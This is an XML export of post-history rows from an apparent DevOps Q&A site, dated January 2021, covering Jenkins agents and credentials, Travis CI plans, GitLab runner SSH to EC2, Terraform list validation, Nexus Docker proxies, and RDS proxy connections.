  <row Id="40241" PostHistoryTypeId="2" PostId="13088" RevisionGUID="3e8d6ff2-a528-464f-90a2-9adf4ddede87" CreationDate="2021-01-05T15:50:21.900" UserId="12614" Text="I've installed a Kubernetes cluster and deployed Jenkins in it which dynamically starts slave machines using Kubernetes plugin for Jenkins.&#xD;&#xA;&#xD;&#xA;Some builds require a specific build machine with GNU make and specific kernel packages and for that I have a dedicated static virtual machine.&#xD;&#xA;&#xD;&#xA;How can I automatically add the static virtual machine to Jenkins as a permanent slave? so when a Jenkins pod goes down and another starts it would automatically connect to the static slave?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40242" PostHistoryTypeId="1" PostId="13088" RevisionGUID="3e8d6ff2-a528-464f-90a2-9adf4ddede87" CreationDate="2021-01-05T15:50:21.900" UserId="12614" Text="How to add a static slave to Jenkins running in Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40243" PostHistoryTypeId="3" PostId="13088" RevisionGUID="3e8d6ff2-a528-464f-90a2-9adf4ddede87" CreationDate="2021-01-05T15:50:21.900" UserId="12614" Text="&lt;jenkins&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40244" PostHistoryTypeId="5" PostId="1202" RevisionGUID="8d683791-9f5b-477d-91a9-694fe3b16929" CreationDate="2021-01-05T16:27:31.870" UserId="2449" Comment="Cross out old info" Text="[As of May 2018][1], travis-ci.org is scheduled to shut down and should no longer be used. Please refer to [beatngu13's answer][2] for updated information.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;###  &lt;s&gt;Aside from pricing model, the two sites are identical.&#xD;&#xA;&#xD;&#xA;- [travis-ci.org][3] is a free service for public open source projects.&#xD;&#xA;- [travis-ci.com][4] is a paid service for private commercial projects.&#xD;&#xA;&#xD;&#xA;[From the FAQ page for Travis Pro][5]&#xD;&#xA;&#xD;&#xA;&gt; ### Why can’t I find information on pricing on travis-ci.org?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Travis CI is, and always will be, free for open source projects.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For a list of plans and prices for private repositories, look at&#xD;&#xA;&gt; [travis-ci.com/plans][6].&#xD;&#xA;&lt;/S&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.travis-ci.com/2018-05-02-open-source-projects-on-travis-ci-com-with-github-apps&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/4305/2449&#xD;&#xA;  [3]: https://travis-ci.org/&#xD;&#xA;  [4]: https://travis-ci.com/&#xD;&#xA;  [5]: https://docs.travis-ci.com/user/travis-pro/#Why-can%E2%80%99t-I-find-information-on-pricing-on-travis-ci.org%3F&#xD;&#xA;  [6]: https://travis-ci.com/plans" ContentLicense="CC BY-SA 4.0" />
  <row Id="40245" PostHistoryTypeId="2" PostId="13089" RevisionGUID="a6b8c26d-b0a3-451e-9615-fc3a595914d9" CreationDate="2021-01-05T17:53:42.923" UserId="25496" Text="I have setup my own gitlab-runner on AWS following GitLab's walkthrough ([Autoscaling GitLab Runner on AWS EC2][1]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/12.10/runner/configuration/runner_autoscale_aws/&#xD;&#xA;&#xD;&#xA;One step in my deployment is to SSH into another EC2 instance. The SSH connection fails every time (see below for the one exception). &#xD;&#xA;&#xD;&#xA;I have added an Inbound rule to my security group for the EC2 instance that allows SSH connections from the security group for both the gitlab-runner manager and the gitlab-runner machines. Still SSH connections are refused. Allowing SSH traffic from 0.0.0.0/0, however, causes the SSH connection from the gitlab-runner to the EC2 instance to succeed. &#xD;&#xA;&#xD;&#xA;Why doesn't allowing my gitlab-runner security group in the inbound rules work, and how do I fix this so that I don't have to open my EC2 instance to the world to get SSH access from gitlab-runner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40246" PostHistoryTypeId="1" PostId="13089" RevisionGUID="a6b8c26d-b0a3-451e-9615-fc3a595914d9" CreationDate="2021-01-05T17:53:42.923" UserId="25496" Text="How do I SSH into an EC2 instance from AWS gitlab-runner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40247" PostHistoryTypeId="3" PostId="13089" RevisionGUID="a6b8c26d-b0a3-451e-9615-fc3a595914d9" CreationDate="2021-01-05T17:53:42.923" UserId="25496" Text="&lt;amazon-ec2&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40248" PostHistoryTypeId="5" PostId="13082" RevisionGUID="a856ee8c-57a1-4901-9a13-ddc6bf883a0a" CreationDate="2021-01-05T18:57:10.727" UserId="6162" Comment="added info about Terraform Module Pipeline" Text="Structuring application code, application configuration and infrastructure in Git repositories is sometimes not the easiest thing to do, and there are not a single correct solution, instead it sometimes depends on how you want to work and what tools you use e.g. monorepo with monorepo tools or one repo per app.&#xD;&#xA;&#xD;&#xA;The classic book [Continuous Delivery][1] touches on this topic. From my own experience working full time with this problem for a few years on a Kubernetes platform I can confirm that it helps to follow the structure from that book to some extend, but again it also depends on how you want to work. If you use Kubernetes, the 2nd edition of [Kubernetes Up &amp; Running][2] has a new chapter 18 about how to structure code and manifests in repositories.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Repositories**&#xD;&#xA;&#xD;&#xA;The Continuous Delivery book use a repository for _application source code_ and a separate repository for _application configuration_. The repo for _application configuration_ contains the environment specific configuration for the app, for each environment (e.g. test, staging and prod). When apps are deployed using some for of IaC e.g. Terraform or Kubernetes manifests, this lives in the repo for _application configuration_. If you are using Kubernetes, [Kustomize][3] with manifests and overlays for each environment is useful to use.&#xD;&#xA;&#xD;&#xA;The reason to the separation of the _source code_ and _configuration_ here, as explained in the book, is that they have different _lifecycles_, e.g. they change at different points in a pipeline. An example, you typically don't want to run all your integration test if you only want to change a value in the configuration repo, e.g. a feature-toogle or when you do rollback to a previously working version.&#xD;&#xA;&#xD;&#xA;## App Build Pipeline&#xD;&#xA;&#xD;&#xA;* A repository for application source code&#xD;&#xA;* Every `git-push` to the repository initiates a _Build Pipeline_-run&#xD;&#xA;* The _build pipeline_ typically builds the app, test it, build docker images and perhaps run integration tests. If everything has succeeded, it also push the image to an image registry. The last task in the pipeline would be to `git-clone` the _application configuration respository_ and updated the image reference to the newly built image.&#xD;&#xA;* The result of this pipeline is that it either failed on a certain task, or that it succeeded. And if it succeeded on the mainline (not a feature-branch) you probably want to initiate a _Deployment Pipeline_, typically with a `git-push` to the _application configuration_ repo.&#xD;&#xA;&#xD;&#xA;## App Deployment Pipeline&#xD;&#xA;&#xD;&#xA;* A repository for application configuration (and IaC)&#xD;&#xA;* The _Build Pipeline_ typically writes to this repo, for successful builds on the mainline. But also Developers or Operations may want to write to this repo for e.g. configuration changes like feature-toggles or change of URLs, perhaps with a PullRequest reviewed by team members.&#xD;&#xA;* The _Deployment Pipeline_ typically apply the configuration with e.g. `kubectl apply` or `terraform apply` using a deployment strategy of choice e.g. Rolling Deployment, A/B-testing deployment or a Canary Deployment - some of these strategies includes two parallel deployments.&#xD;&#xA;* In a more advanced _Deployment Pipeline_ you might want to automatically monitor metrics after the deployment and perhaps rollback if it looks bad. (typically a part of Canary Deployment).&#xD;&#xA;&#xD;&#xA;## Infrastructure Pipeline&#xD;&#xA;&#xD;&#xA;Above I have explained how custom developed applications is deployed using IaC. But there are also other kinds of infrastructure and IaC, like e.g. Kubernetes clusters, load balancers or Kafka clusters. These are typically pre-built software, where your responsibility mostly is about _configuration_. Pipelines for this kind of infrastructure are similar to _App Deployment Pipeline_ but you may want to run tests and integration tests on Pull Requests to this repository. The book [Infrastructure as Code: Dynamic Systems for the Cloud Age][4] is good about this kind of systems, tests and pipelines.&#xD;&#xA;&#xD;&#xA;* A repository for infrastructure configuration (possibly Terrafrom, Terragrunt or possibly Kubernetes manifests).&#xD;&#xA;* Tests (e.g. linting) and possibly integration tests (provision the infrastructure in an isolated environment and validate properties)&#xD;&#xA;* Apply configuration (to one ore more environments) e.g. using `terragrunt apply` or `terraform apply` or maybe `kubectl apply`&#xD;&#xA;&#xD;&#xA;## Terraform Module Pipeline&#xD;&#xA;&#xD;&#xA;If you use Terraform, it is common that you want to compose your own modules. This may perhaps be similar for AWS Cloud Formation Stacks. Changes to these modules should be tested in a pipeline and result in a unique version of the module using a `git tag`.&#xD;&#xA;&#xD;&#xA;* A repository for your Terraform module (or perhaps you want to have multiple modules in the same repository).&#xD;&#xA;* A pipeline running [Terratest][5] code validating your Terraform module in an isolated environment (e.g. a seperate AWS account).&#xD;&#xA;* Also validation and security scans with e.g. [TfSec][6] and [TfLint][7].&#xD;&#xA;* If your test is running on the mainline (e.g. after an approved PR and merge to mainline) you would typically end your pipeline with a task that creates an unique `git tag` - that you later use with e.g. Terragrunt when you want to apply this version of the module to your infrastructure in the _Infrastructure Pipeline_.&#xD;&#xA;&#xD;&#xA;_In the end, it all depends on how you want to work. Maybe you want to work with less process and PRs. Or maybe all your app soruce code is in a big monorepo, then you might want to work in a workflow and structure that fits with the tools you use._&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.amazon.com/Continuous-Delivery-Deployment-Automation-Addison-Wesley-dp-0321601912/dp/0321601912/&#xD;&#xA;  [2]: https://www.amazon.com/Kubernetes-Running-Dive-Future-Infrastructure/dp/1492046531/&#xD;&#xA;  [3]: https://kubernetes.io/docs/tasks/manage-kubernetes-objects/kustomization/&#xD;&#xA;  [4]: https://www.amazon.com/Infrastructure-Code-Dynamic-Systems-Cloud-ebook/dp/B08Q35FM4B/&#xD;&#xA;  [5]: https://terratest.gruntwork.io/&#xD;&#xA;  [6]: https://www.tfsec.dev/&#xD;&#xA;  [7]: https://github.com/terraform-linters/tflint" ContentLicense="CC BY-SA 4.0" />
  <row Id="40249" PostHistoryTypeId="5" PostId="10630" RevisionGUID="e5c6dbff-4621-4e77-9676-a0eb63d17660" CreationDate="2021-01-05T19:29:13.623" UserId="5544" Comment="Add linux command" Text="For Windows you could use `curl` in a powershell prompt:&#xD;&#xA;&#xD;&#xA;    curl  ${BUILD_URL}\consoleText -OutFile C:\SomeLocation\SomeFile.txt&#xD;&#xA;&#xD;&#xA;For MacOS:&#xD;&#xA;&#xD;&#xA;    curl  ${BUILD_URL}/consoleText -o /SomeLocation/SomeFile.txt" ContentLicense="CC BY-SA 4.0" />
  <row Id="40250" PostHistoryTypeId="24" PostId="10630" RevisionGUID="e5c6dbff-4621-4e77-9676-a0eb63d17660" CreationDate="2021-01-05T19:29:13.623" Comment="Proposed by 5544 approved by 19369 edit id of 1317" ContentLicense="CC BY-SA 4.0" />
  <row Id="40251" PostHistoryTypeId="2" PostId="13090" RevisionGUID="9e775d53-4b8b-460e-9a3f-c26d18cb3332" CreationDate="2021-01-05T19:32:21.080" UserId="6060" Text="You can store secret file at Jenkins and use it for deployment.&#xD;&#xA;It can be achieved by using [Credentials][1] and [Credentials Binding][2] plugins. &#xD;&#xA;&#xD;&#xA;1. Install Credentials Binding and Credentials plugins &#xD;&#xA;2. Select your user name in the top navigation bar.&#xD;&#xA;3. Select Credentials in the left pane.&#xD;&#xA;4. Under Stores from parent, select (global) in the Domains column.&#xD;&#xA;5. Select Add Credentials in the left pane.&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;6. insert into your pipeline script &#xD;&#xA;&lt;pre&gt;  &#xD;&#xA;withCredentials([file(credentialsId: 'env', variable: 'mySecretEnvFile')]){&#xD;&#xA;    sh 'cp $mySecretEnvFile $WORKSPACE'&#xD;&#xA;}&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/credentials/&#xD;&#xA;  [2]: https://plugins.jenkins.io/credentials-binding/&#xD;&#xA;  [3]: https://i.stack.imgur.com/wCUk4.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40252" PostHistoryTypeId="2" PostId="13091" RevisionGUID="d1af5a92-998e-46cb-a104-7f3f5df0a47a" CreationDate="2021-01-05T19:44:05.757" UserId="6060" Text="When you use public IP the traffic exits your VPC and comes back in, at which point it is no longer identified as coming from that security group.&#xD;&#xA;So you can adjust your ssh connection and use private IP&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40253" PostHistoryTypeId="2" PostId="13092" RevisionGUID="e4bb67b3-2ef8-4329-b350-cdb87e163bb0" CreationDate="2021-01-05T19:59:13.177" UserId="18637" Text="is it possible to use validation of a variable type equals list(string)?&#xD;&#xA;&#xD;&#xA;My example:&#xD;&#xA;&#xD;&#xA;**main.tf**&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  name            = &quot;tf-prd-sg-foo&quot;&#xD;&#xA;  image_id        = &quot;ami-00e788542ee66c64f&quot;&#xD;&#xA;  instance_type   = &quot;m5.xlarge&quot;&#xD;&#xA;  security_groups = [&quot;sg-000000&quot;, &quot;sg-00000000&quot;] # Example of SG only to contextualize&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**vars.tf**&#xD;&#xA;```&#xD;&#xA;variable &quot;security_groups&quot;  {&#xD;&#xA;    type        = list(string)&#xD;&#xA;    default     = [] &#xD;&#xA;    description = &quot;(Optional) A list of associated security group IDS.&quot;&#xD;&#xA;&#xD;&#xA;    validation {&#xD;&#xA;      condition = can(regex(&quot;^sg-&quot;, var.security_groups))&#xD;&#xA;      error_message = &quot;The Security Groups need starts to \&quot;sg-\&quot;.&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I try execute returns the following error:&#xD;&#xA;```&#xD;&#xA;[terragrunt] 2021/01/05 16:52:40 Running command: terraform plan&#xD;&#xA;&#xD;&#xA;Error: Error in function call&#xD;&#xA;&#xD;&#xA;  on vars.tf line 27, in variable &quot;security_groups&quot;:&#xD;&#xA;  27:       condition = try(regex(&quot;^sg-&quot;, var.security_groups))&#xD;&#xA;    |----------------&#xD;&#xA;    | var.security_groups is tuple with 2 elements&#xD;&#xA;&#xD;&#xA;Call to function &quot;try&quot; failed: no expression succeeded:&#xD;&#xA;- Invalid function argument (at vars.tf:27,37-56)&#xD;&#xA;  Invalid value for &quot;string&quot; parameter: string required.&#xD;&#xA;&#xD;&#xA;At least one expression must produce a successful result.&#xD;&#xA;&#xD;&#xA;[terragrunt] 2021/01/05 16:52:42 Hit multiple errors:&#xD;&#xA;exit status 1&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="40254" PostHistoryTypeId="1" PostId="13092" RevisionGUID="e4bb67b3-2ef8-4329-b350-cdb87e163bb0" CreationDate="2021-01-05T19:59:13.177" UserId="18637" Text="Terraform variable Validation" ContentLicense="CC BY-SA 4.0" />
  <row Id="40255" PostHistoryTypeId="3" PostId="13092" RevisionGUID="e4bb67b3-2ef8-4329-b350-cdb87e163bb0" CreationDate="2021-01-05T19:59:13.177" UserId="18637" Text="&lt;terraform&gt;&lt;terragrunt&gt;&lt;aws-security-group&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40256" PostHistoryTypeId="5" PostId="13092" RevisionGUID="7edd6c2e-64bf-4035-8a10-4410baf8fcf6" CreationDate="2021-01-05T20:11:35.417" UserId="18637" Comment="fix output" Text="is it possible to use validation of a variable type equals list(string)?&#xD;&#xA;&#xD;&#xA;My example:&#xD;&#xA;&#xD;&#xA;**main.tf**&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  name            = &quot;tf-prd-sg-foo&quot;&#xD;&#xA;  image_id        = &quot;ami-00e788542ee66c64f&quot;&#xD;&#xA;  instance_type   = &quot;m5.xlarge&quot;&#xD;&#xA;  security_groups = [&quot;sg-000000&quot;, &quot;sg-00000000&quot;] # Example of SG only to contextualize&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**vars.tf**&#xD;&#xA;```&#xD;&#xA;variable &quot;security_groups&quot;  {&#xD;&#xA;    type        = list(string)&#xD;&#xA;    default     = [] &#xD;&#xA;    description = &quot;(Optional) A list of associated security group IDS.&quot;&#xD;&#xA;&#xD;&#xA;    validation {&#xD;&#xA;      condition = can(regex(&quot;^sg-&quot;, var.security_groups))&#xD;&#xA;      error_message = &quot;The Security Groups need starts to \&quot;sg-\&quot;.&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I try execute returns the following error:&#xD;&#xA;```&#xD;&#xA;[terragrunt] 2021/01/05 17:12:10 Running command: terraform plan&#xD;&#xA;&#xD;&#xA;Error: Invalid value for variable&#xD;&#xA;&#xD;&#xA;  on vars.tf line 21:&#xD;&#xA;  21: variable &quot;security_groups&quot;  {&#xD;&#xA;&#xD;&#xA;The Security Groups need starts to &quot;sg-&quot;.&#xD;&#xA;&#xD;&#xA;This was checked by the validation rule at vars.tf:26,5-15.&#xD;&#xA;&#xD;&#xA;[terragrunt] 2021/01/05 17:12:12 Hit multiple errors:&#xD;&#xA;exit status 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="40257" PostHistoryTypeId="2" PostId="13093" RevisionGUID="86daa9cd-7920-4955-b3f1-2074cf863707" CreationDate="2021-01-05T22:46:45.073" UserId="25500" Text="I have a Sonatype Nexus deployed under repository.company.com (it's behind an nginx proxy).&#xD;&#xA;&#xD;&#xA;I created a docker registry and docker proxy and added them to one docker group &quot;company-docker-group&quot;. The proxy is set to mirror https://registry-1.docker.io and also has the foreign layer caching option checked.&#xD;&#xA;&#xD;&#xA;I have a http connector set for port 8092 but at this moment I do not have access to change the nginx configuration so that I can access that port directly. I noticed that there is an URL in the docker group defined as `https://repository.company.com/repository/company-docker-group/`&#xD;&#xA;&#xD;&#xA;Am I able to access the group via this url? I am able to `docker login` into this url but then when I try &#xD;&#xA;`docker pull repository.company.com/repository/company-docker-group/maven:3.6.2-jdk-8`&#xD;&#xA;then I get this error:&#xD;&#xA;```&#xD;&#xA;Error response from daemon: manifest for repository.company.com/repository/company-docker-group/maven:3.6.2-jdk-8 not found: manifest unknown: manifest unknown&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Can I only access the image via `repository.company.com:8092/maven:3.6.2-jdk-8` or is there a way to use the docker group URL?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40258" PostHistoryTypeId="1" PostId="13093" RevisionGUID="86daa9cd-7920-4955-b3f1-2074cf863707" CreationDate="2021-01-05T22:46:45.073" UserId="25500" Text="Using Sonatype Nexus docker proxy" ContentLicense="CC BY-SA 4.0" />
  <row Id="40259" PostHistoryTypeId="3" PostId="13093" RevisionGUID="86daa9cd-7920-4955-b3f1-2074cf863707" CreationDate="2021-01-05T22:46:45.073" UserId="25500" Text="&lt;docker&gt;&lt;nginx&gt;&lt;nexus&gt;&lt;proxy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40260" PostHistoryTypeId="2" PostId="13094" RevisionGUID="f4542c55-9904-420f-b3ae-df701d740ee0" CreationDate="2021-01-06T00:55:15.363" UserId="2463" Text="When validating an input variable of a collection type, we typically want to write a validation rule that tests if something is true for each value within the collection, rather than true of the collection as a whole.&#xD;&#xA;&#xD;&#xA;You can write a &quot;for each&quot; sort of condition using Terraform's [`for` expressions](https://www.terraform.io/docs/configuration/expressions/for.html). If you are using Terraform v0.14 or later then you can write it concisely using [the `alltrue` function](https://www.terraform.io/docs/configuration/functions/alltrue.html) along with a `for` expression that produces a true or false result for each of the items, like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  validation {&#xD;&#xA;    condition     = alltrue([&#xD;&#xA;      for id in var.security_groups : can(regex(&quot;^sg-&quot;, id))&#xD;&#xA;    ])&#xD;&#xA;    error_message = &quot;All security group ids must start with \&quot;sg-\&quot;.&quot;&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you are using Terraform v0.13 then you won't have the `alltrue` function available to you yet, but you can get a similar result in a clunkier way by using the optional `if` clause of a `for` expression to filter out all of the valid ids and then checking whether the resulting list is empty -- that is, whether there are any remaining items that were _not_ valid:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  validation {&#xD;&#xA;    condition     = length([&#xD;&#xA;      for id in var.security_groups : id&#xD;&#xA;      if !can(regex(&quot;^sg-&quot;, id))&#xD;&#xA;    ]) == 0&#xD;&#xA;    error_message = &quot;All security group ids must start with \&quot;sg-\&quot;.&quot;&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This second example is a bit more cryptic to understand because it's using some language features in an atypical way, so I'll break it down into smaller parts to explain:&#xD;&#xA;&#xD;&#xA;* `[for id in var.security_groups : id if !can(regex(&quot;^sg-&quot;, id))]` filters the elements of `var.security_groups` to keep only the ones where the expression is true.&#xD;&#xA;* `!can(regex(&quot;^sg-&quot;, id))` uses the `!` operator to turn your original expression that decides if the value is _valid_ into an expression which decides if the value is _invalid_. Consequently the result of the `for` expression will be empty unless there's at least one invalid value.&#xD;&#xA;* Finally, the `length( ... ) == 0` around the `for` expression says that the value is only valid if filtering out all of the valid values produces an empty list, which conversely means that the list didn't contain any invalid values.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40261" PostHistoryTypeId="5" PostId="13094" RevisionGUID="fa4b0f58-0f11-4587-8764-1b5ca1f0740f" CreationDate="2021-01-06T17:27:23.473" UserId="2463" Comment="deleted 8 characters in body" Text="When validating an input variable of a collection type, we typically want to write a validation rule that tests if something is true for each value within the collection, rather than true of the collection as a whole.&#xD;&#xA;&#xD;&#xA;You can write a &quot;for each&quot; sort of condition using Terraform's [`for` expressions](https://www.terraform.io/docs/configuration/expressions/for.html). If you are using Terraform v0.14 or later then you can write it concisely using [the `alltrue` function](https://www.terraform.io/docs/configuration/functions/alltrue.html) along with a `for` expression that produces a true or false result for each of the items, like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  validation {&#xD;&#xA;    condition = alltrue([&#xD;&#xA;      for id in var.security_groups : can(regex(&quot;^sg-&quot;, id))&#xD;&#xA;    ])&#xD;&#xA;    error_message = &quot;All security group ids must start with \&quot;sg-\&quot;.&quot;&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you are using Terraform v0.13 then you won't have the `alltrue` function available to you yet, but you can get a similar result in a clunkier way by using the optional `if` clause of a `for` expression to filter out all of the valid ids and then checking whether the resulting list is empty -- that is, whether there are any remaining items that were _not_ valid:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  validation {&#xD;&#xA;    condition = length([&#xD;&#xA;      for id in var.security_groups : id&#xD;&#xA;      if !can(regex(&quot;^sg-&quot;, id))&#xD;&#xA;    ]) == 0&#xD;&#xA;    error_message = &quot;All security group ids must start with \&quot;sg-\&quot;.&quot;&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This second example is a bit more cryptic to understand because it's using some language features in an atypical way, so I'll break it down into smaller parts to explain:&#xD;&#xA;&#xD;&#xA;* `[for id in var.security_groups : id if !can(regex(&quot;^sg-&quot;, id))]` filters the elements of `var.security_groups` to keep only the ones where the expression is true.&#xD;&#xA;* `!can(regex(&quot;^sg-&quot;, id))` uses the `!` operator to turn your original expression that decides if the value is _valid_ into an expression which decides if the value is _invalid_. Consequently the result of the `for` expression will be empty unless there's at least one invalid value.&#xD;&#xA;* Finally, the `length( ... ) == 0` around the `for` expression says that the value is only valid if filtering out all of the valid values produces an empty list, which conversely means that the list didn't contain any invalid values.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40266" PostHistoryTypeId="2" PostId="13096" RevisionGUID="fe82e5be-4afe-4960-a1a6-c05edd891ce9" CreationDate="2021-01-07T02:11:54.720" UserId="24122" Text="I have setup a rds proxy in between my webapp and rds mysql. However, when my webapp releases connection, rds proxy keep holding it. What is the parameter that decide the time that rds proxy release the connection to db?&#xD;&#xA;I provided 2 images, the first one show connections from webapp, and the second one show connections from rds rpoxy to db.&#xD;&#xA;[![connections from webapp][1]][1]&#xD;&#xA;[![connections from rds rpoxy to db][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/p5pNg.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/L5w5x.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40267" PostHistoryTypeId="1" PostId="13096" RevisionGUID="fe82e5be-4afe-4960-a1a6-c05edd891ce9" CreationDate="2021-01-07T02:11:54.720" UserId="24122" Text="AWS rds proxy not releasing connection to db" ContentLicense="CC BY-SA 4.0" />
  <row Id="40268" PostHistoryTypeId="3" PostId="13096" RevisionGUID="fe82e5be-4afe-4960-a1a6-c05edd891ce9" CreationDate="2021-01-07T02:11:54.720" UserId="24122" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40273" PostHistoryTypeId="2" PostId="13098" RevisionGUID="1e6550ac-27d3-40bd-a438-2a13f26594cd" CreationDate="2021-01-07T09:12:15.593" UserId="25495" Text="There is one profound difference which is a bit hard to find:&#xD;&#xA;&#xD;&#xA;Unfortunately the free OSS public repos at `travis-ci.com` are restricted to 1000 free build minutes after which one will have to beg for extra build minutes for the 'trial plan'.&#xD;&#xA;[Travis CI announced this new pricing model at 2020-11-02](https://blog.travis-ci.com/2020-11-02-travis-ci-new-billing). Effectively this ends generous open source offering.&#xD;&#xA;&#xD;&#xA;[Read Jeff Geerlin's comprehensive experience of migration to `travis-ci.com`](https://www.jeffgeerling.com/blog/2020/travis-cis-new-pricing-plan-threw-wrench-my-open-source-works)." ContentLicense="CC BY-SA 4.0" />
  <row Id="40274" PostHistoryTypeId="2" PostId="13099" RevisionGUID="e4a82351-401b-4913-a8f5-47bc380dcf94" CreationDate="2021-01-07T09:22:11.287" UserId="25520" Text="locally you can test against [kind][1] (kubernetes in docker) cluster or [k3d][2] which is tiny k3s cluster in docker.&#xD;&#xA;&#xD;&#xA;Just spin up the cluster, install bundle of microservices there and run the tests. &#xD;&#xA;&#xD;&#xA;Have a look on [https://github.com/AbsaOSS/k3d-action][3] which demonstrates spinning such cluster. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kind.sigs.k8s.io/docs/user/quick-start/&#xD;&#xA;  [2]: https://k3d.io/usage/commands/&#xD;&#xA;  [3]: https://github.com/AbsaOSS/k3d-action" ContentLicense="CC BY-SA 4.0" />
  <row Id="40276" PostHistoryTypeId="2" PostId="13100" RevisionGUID="a19052bc-e3fc-48fb-b57c-5896da76e257" CreationDate="2021-01-07T10:58:58.137" UserId="15739" Text="you need just to install `ca-certificates` so update your apt-get command to :&#xD;&#xA;&#xD;&#xA;    RUN set -ex; \&#xD;&#xA;        apt-get -y install --no-install-recommends \&#xD;&#xA;            ca-certificates \&#xD;&#xA;            curl=7.64.0-4+deb10u1 \&#xD;&#xA;            unzip=6.0-23+deb10u1 \&#xD;&#xA;            coreutils=8.30-3 \&#xD;&#xA;            lsb-release build-essential ssh-client apt-transport-https \&#xD;&#xA;            python gnupg" ContentLicense="CC BY-SA 4.0" />
  <row Id="40277" PostHistoryTypeId="2" PostId="13101" RevisionGUID="85647246-3d44-4ea6-9643-7ffeb52c2ee0" CreationDate="2021-01-07T13:57:46.987" UserId="25526" Text="As recommended by Jenkins (&gt;2.2xx) you may benefit by creating an API token for the user, I did so, to trigger Jenkins job in my local Jenkins server from NODEJS code.&#xD;&#xA;&#xD;&#xA;Please refer below for further clarification:&#xD;&#xA;1. https://www.jenkins.io/doc/book/system-administration/authenticating-scripted-clients/#shell-with-curl&#xD;&#xA;2. https://www.jenkins.io/doc/book/using/remote-access-api/#RemoteaccessAPI-CSRFProtection&#xD;&#xA;&#xD;&#xA;And for details: https://www.jenkins.io/doc/book/managing/security/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40284" PostHistoryTypeId="2" PostId="13103" RevisionGUID="fd2f24a6-6d5e-4467-8f7d-6f2afbeb26fb" CreationDate="2021-01-07T19:04:15.890" UserId="19154" Text="Theoretical question: &lt;br/&gt;&#xD;&#xA;Is it possible for a very large scale service to use a major public cloud managed database service? &lt;br/&gt;&#xD;&#xA;For example, a service with a scale of Netflix and a service like Amazon Aurora. &lt;br/&gt;&#xD;&#xA;If not, which solutions are available for very larges scale services?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40285" PostHistoryTypeId="1" PostId="13103" RevisionGUID="fd2f24a6-6d5e-4467-8f7d-6f2afbeb26fb" CreationDate="2021-01-07T19:04:15.890" UserId="19154" Text="Can large scale services use a public cloud managed database service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40286" PostHistoryTypeId="3" PostId="13103" RevisionGUID="fd2f24a6-6d5e-4467-8f7d-6f2afbeb26fb" CreationDate="2021-01-07T19:04:15.890" UserId="19154" Text="&lt;cloud&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
